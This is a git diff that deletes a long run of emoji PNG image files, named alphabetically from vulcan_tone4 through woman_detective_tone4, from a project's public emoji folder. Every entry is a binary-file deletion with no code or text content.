diff --git a/public/-/emojis/2/vulcan_tone4.png b/public/-/emojis/2/vulcan_tone4.png
deleted file mode 100644
index 13d5f65ccd0..00000000000
--- a/public/-/emojis/2/vulcan_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/vulcan_tone5.png b/public/-/emojis/2/vulcan_tone5.png
deleted file mode 100644
index 6a27d7e82af..00000000000
--- a/public/-/emojis/2/vulcan_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wales.png b/public/-/emojis/2/wales.png
deleted file mode 100644
index 7bc2df68848..00000000000
--- a/public/-/emojis/2/wales.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/walking.png b/public/-/emojis/2/walking.png
deleted file mode 100644
index 71a67e01159..00000000000
--- a/public/-/emojis/2/walking.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/walking_tone1.png b/public/-/emojis/2/walking_tone1.png
deleted file mode 100644
index 0cf79c31adc..00000000000
--- a/public/-/emojis/2/walking_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/walking_tone2.png b/public/-/emojis/2/walking_tone2.png
deleted file mode 100644
index 815138972c3..00000000000
--- a/public/-/emojis/2/walking_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/walking_tone3.png b/public/-/emojis/2/walking_tone3.png
deleted file mode 100644
index 1d53c57095f..00000000000
--- a/public/-/emojis/2/walking_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/walking_tone4.png b/public/-/emojis/2/walking_tone4.png
deleted file mode 100644
index 541c0193ecd..00000000000
--- a/public/-/emojis/2/walking_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/walking_tone5.png b/public/-/emojis/2/walking_tone5.png
deleted file mode 100644
index 24b2e2cfa85..00000000000
--- a/public/-/emojis/2/walking_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/waning_crescent_moon.png b/public/-/emojis/2/waning_crescent_moon.png
deleted file mode 100644
index 1cc61274438..00000000000
--- a/public/-/emojis/2/waning_crescent_moon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/waning_gibbous_moon.png b/public/-/emojis/2/waning_gibbous_moon.png
deleted file mode 100644
index d1b7abbcf42..00000000000
--- a/public/-/emojis/2/waning_gibbous_moon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/warning.png b/public/-/emojis/2/warning.png
deleted file mode 100644
index 96647cbd7cb..00000000000
--- a/public/-/emojis/2/warning.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wastebasket.png b/public/-/emojis/2/wastebasket.png
deleted file mode 100644
index e6a6652c0f4..00000000000
--- a/public/-/emojis/2/wastebasket.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/watch.png b/public/-/emojis/2/watch.png
deleted file mode 100644
index 81b73260872..00000000000
--- a/public/-/emojis/2/watch.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/water_buffalo.png b/public/-/emojis/2/water_buffalo.png
deleted file mode 100644
index 1bb9aa517ef..00000000000
--- a/public/-/emojis/2/water_buffalo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/water_polo.png b/public/-/emojis/2/water_polo.png
deleted file mode 100644
index 8c05000a840..00000000000
--- a/public/-/emojis/2/water_polo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/water_polo_tone1.png b/public/-/emojis/2/water_polo_tone1.png
deleted file mode 100644
index a5f2ec46db8..00000000000
--- a/public/-/emojis/2/water_polo_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/water_polo_tone2.png b/public/-/emojis/2/water_polo_tone2.png
deleted file mode 100644
index ebc18e5ab35..00000000000
--- a/public/-/emojis/2/water_polo_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/water_polo_tone3.png b/public/-/emojis/2/water_polo_tone3.png
deleted file mode 100644
index 6b6c1feb99e..00000000000
--- a/public/-/emojis/2/water_polo_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/water_polo_tone4.png b/public/-/emojis/2/water_polo_tone4.png
deleted file mode 100644
index 754d5841be1..00000000000
--- a/public/-/emojis/2/water_polo_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/water_polo_tone5.png b/public/-/emojis/2/water_polo_tone5.png
deleted file mode 100644
index 2aef84a38a0..00000000000
--- a/public/-/emojis/2/water_polo_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/watermelon.png b/public/-/emojis/2/watermelon.png
deleted file mode 100644
index 576ce3256d5..00000000000
--- a/public/-/emojis/2/watermelon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wave.png b/public/-/emojis/2/wave.png
deleted file mode 100644
index 4f8a0af1d01..00000000000
--- a/public/-/emojis/2/wave.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wave_tone1.png b/public/-/emojis/2/wave_tone1.png
deleted file mode 100644
index db24ae67373..00000000000
--- a/public/-/emojis/2/wave_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wave_tone2.png b/public/-/emojis/2/wave_tone2.png
deleted file mode 100644
index c7c29e9c425..00000000000
--- a/public/-/emojis/2/wave_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wave_tone3.png b/public/-/emojis/2/wave_tone3.png
deleted file mode 100644
index 88f76fe4aab..00000000000
--- a/public/-/emojis/2/wave_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wave_tone4.png b/public/-/emojis/2/wave_tone4.png
deleted file mode 100644
index 1ad30ecd24c..00000000000
--- a/public/-/emojis/2/wave_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wave_tone5.png b/public/-/emojis/2/wave_tone5.png
deleted file mode 100644
index 7df4c57fb63..00000000000
--- a/public/-/emojis/2/wave_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wavy_dash.png b/public/-/emojis/2/wavy_dash.png
deleted file mode 100644
index 826b0e4f8d1..00000000000
--- a/public/-/emojis/2/wavy_dash.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/waxing_crescent_moon.png b/public/-/emojis/2/waxing_crescent_moon.png
deleted file mode 100644
index bc9cab3b98e..00000000000
--- a/public/-/emojis/2/waxing_crescent_moon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/waxing_gibbous_moon.png b/public/-/emojis/2/waxing_gibbous_moon.png
deleted file mode 100644
index 3273ed2762a..00000000000
--- a/public/-/emojis/2/waxing_gibbous_moon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wc.png b/public/-/emojis/2/wc.png
deleted file mode 100644
index 669f50de1da..00000000000
--- a/public/-/emojis/2/wc.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/weary.png b/public/-/emojis/2/weary.png
deleted file mode 100644
index 32230c9c9b5..00000000000
--- a/public/-/emojis/2/weary.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wedding.png b/public/-/emojis/2/wedding.png
deleted file mode 100644
index 69d4fb5abb8..00000000000
--- a/public/-/emojis/2/wedding.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/weight_lifting_man.png b/public/-/emojis/2/weight_lifting_man.png
deleted file mode 100644
index ea8d803634a..00000000000
--- a/public/-/emojis/2/weight_lifting_man.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/whale.png b/public/-/emojis/2/whale.png
deleted file mode 100644
index 1da9ff65ced..00000000000
--- a/public/-/emojis/2/whale.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/whale2.png b/public/-/emojis/2/whale2.png
deleted file mode 100644
index e8a99a36dba..00000000000
--- a/public/-/emojis/2/whale2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wheel_of_dharma.png b/public/-/emojis/2/wheel_of_dharma.png
deleted file mode 100644
index 24d989bffcd..00000000000
--- a/public/-/emojis/2/wheel_of_dharma.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wheelchair.png b/public/-/emojis/2/wheelchair.png
deleted file mode 100644
index 342bd29c237..00000000000
--- a/public/-/emojis/2/wheelchair.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_check_mark.png b/public/-/emojis/2/white_check_mark.png
deleted file mode 100644
index 2e42cc34531..00000000000
--- a/public/-/emojis/2/white_check_mark.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_circle.png b/public/-/emojis/2/white_circle.png
deleted file mode 100644
index 7e4ee4d5819..00000000000
--- a/public/-/emojis/2/white_circle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_flag.png b/public/-/emojis/2/white_flag.png
deleted file mode 100644
index 7f201dc1b0a..00000000000
--- a/public/-/emojis/2/white_flag.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_flower.png b/public/-/emojis/2/white_flower.png
deleted file mode 100644
index 71ecf63a9cd..00000000000
--- a/public/-/emojis/2/white_flower.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_haired.png b/public/-/emojis/2/white_haired.png
deleted file mode 100644
index fd89c4dfdbc..00000000000
--- a/public/-/emojis/2/white_haired.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_large_square.png b/public/-/emojis/2/white_large_square.png
deleted file mode 100644
index be1ccc67abb..00000000000
--- a/public/-/emojis/2/white_large_square.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_medium_small_square.png b/public/-/emojis/2/white_medium_small_square.png
deleted file mode 100644
index 88315080e6a..00000000000
--- a/public/-/emojis/2/white_medium_small_square.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_medium_square.png b/public/-/emojis/2/white_medium_square.png
deleted file mode 100644
index a89a0fefdf1..00000000000
--- a/public/-/emojis/2/white_medium_square.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_small_square.png b/public/-/emojis/2/white_small_square.png
deleted file mode 100644
index b50a502669e..00000000000
--- a/public/-/emojis/2/white_small_square.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_square_button.png b/public/-/emojis/2/white_square_button.png
deleted file mode 100644
index fa93919df1c..00000000000
--- a/public/-/emojis/2/white_square_button.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_sun_cloud.png b/public/-/emojis/2/white_sun_cloud.png
deleted file mode 100644
index cf1a49688ae..00000000000
--- a/public/-/emojis/2/white_sun_cloud.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_sun_rain_cloud.png b/public/-/emojis/2/white_sun_rain_cloud.png
deleted file mode 100644
index 5a0f85a95f1..00000000000
--- a/public/-/emojis/2/white_sun_rain_cloud.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/white_sun_small_cloud.png b/public/-/emojis/2/white_sun_small_cloud.png
deleted file mode 100644
index eae845f61f3..00000000000
--- a/public/-/emojis/2/white_sun_small_cloud.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wilted_rose.png b/public/-/emojis/2/wilted_rose.png
deleted file mode 100644
index 14958327e66..00000000000
--- a/public/-/emojis/2/wilted_rose.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wind_blowing_face.png b/public/-/emojis/2/wind_blowing_face.png
deleted file mode 100644
index 513d00b240c..00000000000
--- a/public/-/emojis/2/wind_blowing_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wind_chime.png b/public/-/emojis/2/wind_chime.png
deleted file mode 100644
index 4ed961f3ce7..00000000000
--- a/public/-/emojis/2/wind_chime.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wine_glass.png b/public/-/emojis/2/wine_glass.png
deleted file mode 100644
index 1cb459ab9c5..00000000000
--- a/public/-/emojis/2/wine_glass.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wink.png b/public/-/emojis/2/wink.png
deleted file mode 100644
index 4ef378e7bf3..00000000000
--- a/public/-/emojis/2/wink.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wolf.png b/public/-/emojis/2/wolf.png
deleted file mode 100644
index ea96a1cbbfb..00000000000
--- a/public/-/emojis/2/wolf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman.png b/public/-/emojis/2/woman.png
deleted file mode 100644
index 0baffa1abf3..00000000000
--- a/public/-/emojis/2/woman.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_artist.png b/public/-/emojis/2/woman_artist.png
deleted file mode 100644
index a5affce34b9..00000000000
--- a/public/-/emojis/2/woman_artist.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_artist_tone1.png b/public/-/emojis/2/woman_artist_tone1.png
deleted file mode 100644
index 4d5d2321e92..00000000000
--- a/public/-/emojis/2/woman_artist_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_artist_tone2.png b/public/-/emojis/2/woman_artist_tone2.png
deleted file mode 100644
index a15727ed98b..00000000000
--- a/public/-/emojis/2/woman_artist_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_artist_tone3.png b/public/-/emojis/2/woman_artist_tone3.png
deleted file mode 100644
index ebb444212c5..00000000000
--- a/public/-/emojis/2/woman_artist_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_artist_tone4.png b/public/-/emojis/2/woman_artist_tone4.png
deleted file mode 100644
index 2ff23865d2d..00000000000
--- a/public/-/emojis/2/woman_artist_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_artist_tone5.png b/public/-/emojis/2/woman_artist_tone5.png
deleted file mode 100644
index 6c6b696c914..00000000000
--- a/public/-/emojis/2/woman_artist_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_astronaut.png b/public/-/emojis/2/woman_astronaut.png
deleted file mode 100644
index 1516293879b..00000000000
--- a/public/-/emojis/2/woman_astronaut.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_astronaut_tone1.png b/public/-/emojis/2/woman_astronaut_tone1.png
deleted file mode 100644
index 394356c9ea5..00000000000
--- a/public/-/emojis/2/woman_astronaut_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_astronaut_tone2.png b/public/-/emojis/2/woman_astronaut_tone2.png
deleted file mode 100644
index 22523c21a85..00000000000
--- a/public/-/emojis/2/woman_astronaut_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_astronaut_tone3.png b/public/-/emojis/2/woman_astronaut_tone3.png
deleted file mode 100644
index 8d05d0d4910..00000000000
--- a/public/-/emojis/2/woman_astronaut_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_astronaut_tone4.png b/public/-/emojis/2/woman_astronaut_tone4.png
deleted file mode 100644
index 652da012804..00000000000
--- a/public/-/emojis/2/woman_astronaut_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_astronaut_tone5.png b/public/-/emojis/2/woman_astronaut_tone5.png
deleted file mode 100644
index 4d5bb7d7874..00000000000
--- a/public/-/emojis/2/woman_astronaut_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bald.png b/public/-/emojis/2/woman_bald.png
deleted file mode 100644
index bea3b50e50d..00000000000
--- a/public/-/emojis/2/woman_bald.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bald_tone1.png b/public/-/emojis/2/woman_bald_tone1.png
deleted file mode 100644
index 165de61e46e..00000000000
--- a/public/-/emojis/2/woman_bald_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bald_tone2.png b/public/-/emojis/2/woman_bald_tone2.png
deleted file mode 100644
index 9292fd7ffa3..00000000000
--- a/public/-/emojis/2/woman_bald_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bald_tone3.png b/public/-/emojis/2/woman_bald_tone3.png
deleted file mode 100644
index e931015156a..00000000000
--- a/public/-/emojis/2/woman_bald_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bald_tone4.png b/public/-/emojis/2/woman_bald_tone4.png
deleted file mode 100644
index 5712ecfe2cd..00000000000
--- a/public/-/emojis/2/woman_bald_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bald_tone5.png b/public/-/emojis/2/woman_bald_tone5.png
deleted file mode 100644
index de5c5dac5d9..00000000000
--- a/public/-/emojis/2/woman_bald_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_biking.png b/public/-/emojis/2/woman_biking.png
deleted file mode 100644
index 540272160fe..00000000000
--- a/public/-/emojis/2/woman_biking.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_biking_tone1.png b/public/-/emojis/2/woman_biking_tone1.png
deleted file mode 100644
index b60997daa92..00000000000
--- a/public/-/emojis/2/woman_biking_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_biking_tone2.png b/public/-/emojis/2/woman_biking_tone2.png
deleted file mode 100644
index 12b190a453c..00000000000
--- a/public/-/emojis/2/woman_biking_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_biking_tone3.png b/public/-/emojis/2/woman_biking_tone3.png
deleted file mode 100644
index b86d9ceea61..00000000000
--- a/public/-/emojis/2/woman_biking_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_biking_tone4.png b/public/-/emojis/2/woman_biking_tone4.png
deleted file mode 100644
index 02b24deac54..00000000000
--- a/public/-/emojis/2/woman_biking_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_biking_tone5.png b/public/-/emojis/2/woman_biking_tone5.png
deleted file mode 100644
index 7bdc790c768..00000000000
--- a/public/-/emojis/2/woman_biking_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bouncing_ball.png b/public/-/emojis/2/woman_bouncing_ball.png
deleted file mode 100644
index 0a56c78301e..00000000000
--- a/public/-/emojis/2/woman_bouncing_ball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bouncing_ball_tone1.png b/public/-/emojis/2/woman_bouncing_ball_tone1.png
deleted file mode 100644
index 9dd9b2667b3..00000000000
--- a/public/-/emojis/2/woman_bouncing_ball_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bouncing_ball_tone2.png b/public/-/emojis/2/woman_bouncing_ball_tone2.png
deleted file mode 100644
index 675d2fc13ba..00000000000
--- a/public/-/emojis/2/woman_bouncing_ball_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bouncing_ball_tone3.png b/public/-/emojis/2/woman_bouncing_ball_tone3.png
deleted file mode 100644
index 4adcfdcf030..00000000000
--- a/public/-/emojis/2/woman_bouncing_ball_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bouncing_ball_tone4.png b/public/-/emojis/2/woman_bouncing_ball_tone4.png
deleted file mode 100644
index 91a6f4858a0..00000000000
--- a/public/-/emojis/2/woman_bouncing_ball_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bouncing_ball_tone5.png b/public/-/emojis/2/woman_bouncing_ball_tone5.png
deleted file mode 100644
index 92cfdea6a9c..00000000000
--- a/public/-/emojis/2/woman_bouncing_ball_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bowing.png b/public/-/emojis/2/woman_bowing.png
deleted file mode 100644
index d9b2cd6d97d..00000000000
--- a/public/-/emojis/2/woman_bowing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bowing_tone1.png b/public/-/emojis/2/woman_bowing_tone1.png
deleted file mode 100644
index 1be13e9a29e..00000000000
--- a/public/-/emojis/2/woman_bowing_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bowing_tone2.png b/public/-/emojis/2/woman_bowing_tone2.png
deleted file mode 100644
index 3c0d101c3fc..00000000000
--- a/public/-/emojis/2/woman_bowing_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bowing_tone3.png b/public/-/emojis/2/woman_bowing_tone3.png
deleted file mode 100644
index 64e9ab76a42..00000000000
--- a/public/-/emojis/2/woman_bowing_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bowing_tone4.png b/public/-/emojis/2/woman_bowing_tone4.png
deleted file mode 100644
index 23c41476e8b..00000000000
--- a/public/-/emojis/2/woman_bowing_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_bowing_tone5.png b/public/-/emojis/2/woman_bowing_tone5.png
deleted file mode 100644
index 3b18669f87a..00000000000
--- a/public/-/emojis/2/woman_bowing_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_cartwheeling.png b/public/-/emojis/2/woman_cartwheeling.png
deleted file mode 100644
index b370be235c2..00000000000
--- a/public/-/emojis/2/woman_cartwheeling.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_cartwheeling_tone1.png b/public/-/emojis/2/woman_cartwheeling_tone1.png
deleted file mode 100644
index 886defbbd84..00000000000
--- a/public/-/emojis/2/woman_cartwheeling_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_cartwheeling_tone2.png b/public/-/emojis/2/woman_cartwheeling_tone2.png
deleted file mode 100644
index bd589c81f34..00000000000
--- a/public/-/emojis/2/woman_cartwheeling_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_cartwheeling_tone3.png b/public/-/emojis/2/woman_cartwheeling_tone3.png
deleted file mode 100644
index 9b54af9b05d..00000000000
--- a/public/-/emojis/2/woman_cartwheeling_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_cartwheeling_tone4.png b/public/-/emojis/2/woman_cartwheeling_tone4.png
deleted file mode 100644
index 1fe15a0e62d..00000000000
--- a/public/-/emojis/2/woman_cartwheeling_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_cartwheeling_tone5.png b/public/-/emojis/2/woman_cartwheeling_tone5.png
deleted file mode 100644
index 0f7272cc80a..00000000000
--- a/public/-/emojis/2/woman_cartwheeling_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_climbing.png b/public/-/emojis/2/woman_climbing.png
deleted file mode 100644
index 1e124224cab..00000000000
--- a/public/-/emojis/2/woman_climbing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_climbing_tone1.png b/public/-/emojis/2/woman_climbing_tone1.png
deleted file mode 100644
index c94ef344a56..00000000000
--- a/public/-/emojis/2/woman_climbing_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_climbing_tone2.png b/public/-/emojis/2/woman_climbing_tone2.png
deleted file mode 100644
index bca9ef8a592..00000000000
--- a/public/-/emojis/2/woman_climbing_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_climbing_tone3.png b/public/-/emojis/2/woman_climbing_tone3.png
deleted file mode 100644
index 14313988daa..00000000000
--- a/public/-/emojis/2/woman_climbing_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_climbing_tone4.png b/public/-/emojis/2/woman_climbing_tone4.png
deleted file mode 100644
index 6c3b746eccf..00000000000
--- a/public/-/emojis/2/woman_climbing_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_climbing_tone5.png b/public/-/emojis/2/woman_climbing_tone5.png
deleted file mode 100644
index a4b944c9706..00000000000
--- a/public/-/emojis/2/woman_climbing_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_construction_worker.png b/public/-/emojis/2/woman_construction_worker.png
deleted file mode 100644
index 600c7613236..00000000000
--- a/public/-/emojis/2/woman_construction_worker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_construction_worker_tone1.png b/public/-/emojis/2/woman_construction_worker_tone1.png
deleted file mode 100644
index d7d1af0ad41..00000000000
--- a/public/-/emojis/2/woman_construction_worker_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_construction_worker_tone2.png b/public/-/emojis/2/woman_construction_worker_tone2.png
deleted file mode 100644
index b8ce022a352..00000000000
--- a/public/-/emojis/2/woman_construction_worker_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_construction_worker_tone3.png b/public/-/emojis/2/woman_construction_worker_tone3.png
deleted file mode 100644
index d2dfb4b9a53..00000000000
--- a/public/-/emojis/2/woman_construction_worker_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_construction_worker_tone4.png b/public/-/emojis/2/woman_construction_worker_tone4.png
deleted file mode 100644
index 5da6a6923f6..00000000000
--- a/public/-/emojis/2/woman_construction_worker_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_construction_worker_tone5.png b/public/-/emojis/2/woman_construction_worker_tone5.png
deleted file mode 100644
index 8a2d2d67abf..00000000000
--- a/public/-/emojis/2/woman_construction_worker_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_cook.png b/public/-/emojis/2/woman_cook.png
deleted file mode 100644
index b8596cc2b9a..00000000000
--- a/public/-/emojis/2/woman_cook.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_cook_tone1.png b/public/-/emojis/2/woman_cook_tone1.png
deleted file mode 100644
index a1371a67e8e..00000000000
--- a/public/-/emojis/2/woman_cook_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_cook_tone2.png b/public/-/emojis/2/woman_cook_tone2.png
deleted file mode 100644
index ab9a2d462b4..00000000000
--- a/public/-/emojis/2/woman_cook_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_cook_tone3.png b/public/-/emojis/2/woman_cook_tone3.png
deleted file mode 100644
index c4dc2411963..00000000000
--- a/public/-/emojis/2/woman_cook_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_cook_tone4.png b/public/-/emojis/2/woman_cook_tone4.png
deleted file mode 100644
index c73a87dfa94..00000000000
--- a/public/-/emojis/2/woman_cook_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_cook_tone5.png b/public/-/emojis/2/woman_cook_tone5.png
deleted file mode 100644
index 40f49005512..00000000000
--- a/public/-/emojis/2/woman_cook_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_curly_haired.png b/public/-/emojis/2/woman_curly_haired.png
deleted file mode 100644
index eacb87825e3..00000000000
--- a/public/-/emojis/2/woman_curly_haired.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_curly_haired_tone1.png b/public/-/emojis/2/woman_curly_haired_tone1.png
deleted file mode 100644
index 9fb04952335..00000000000
--- a/public/-/emojis/2/woman_curly_haired_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_curly_haired_tone2.png b/public/-/emojis/2/woman_curly_haired_tone2.png
deleted file mode 100644
index c2c54619c85..00000000000
--- a/public/-/emojis/2/woman_curly_haired_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_curly_haired_tone3.png b/public/-/emojis/2/woman_curly_haired_tone3.png
deleted file mode 100644
index 7c7bd414ae1..00000000000
--- a/public/-/emojis/2/woman_curly_haired_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_curly_haired_tone4.png b/public/-/emojis/2/woman_curly_haired_tone4.png
deleted file mode 100644
index cdecac785c0..00000000000
--- a/public/-/emojis/2/woman_curly_haired_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_curly_haired_tone5.png b/public/-/emojis/2/woman_curly_haired_tone5.png
deleted file mode 100644
index b0d0ff37144..00000000000
--- a/public/-/emojis/2/woman_curly_haired_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_detective.png b/public/-/emojis/2/woman_detective.png
deleted file mode 100644
index 53fab9f12d9..00000000000
--- a/public/-/emojis/2/woman_detective.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_detective_tone1.png b/public/-/emojis/2/woman_detective_tone1.png
deleted file mode 100644
index c43cc732bd9..00000000000
--- a/public/-/emojis/2/woman_detective_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_detective_tone2.png b/public/-/emojis/2/woman_detective_tone2.png
deleted file mode 100644
index a5c56c832dd..00000000000
--- a/public/-/emojis/2/woman_detective_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_detective_tone3.png b/public/-/emojis/2/woman_detective_tone3.png
deleted file mode 100644
index b07ffe93855..00000000000
--- a/public/-/emojis/2/woman_detective_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_detective_tone4.png b/public/-/emojis/2/woman_detective_tone4.png
deleted file mode 100644
index bae99a1ffb8..00000000000
--- a/public/-/emojis/2/woman_detective_tone4.png
+++ /dev/null
Binary files differ
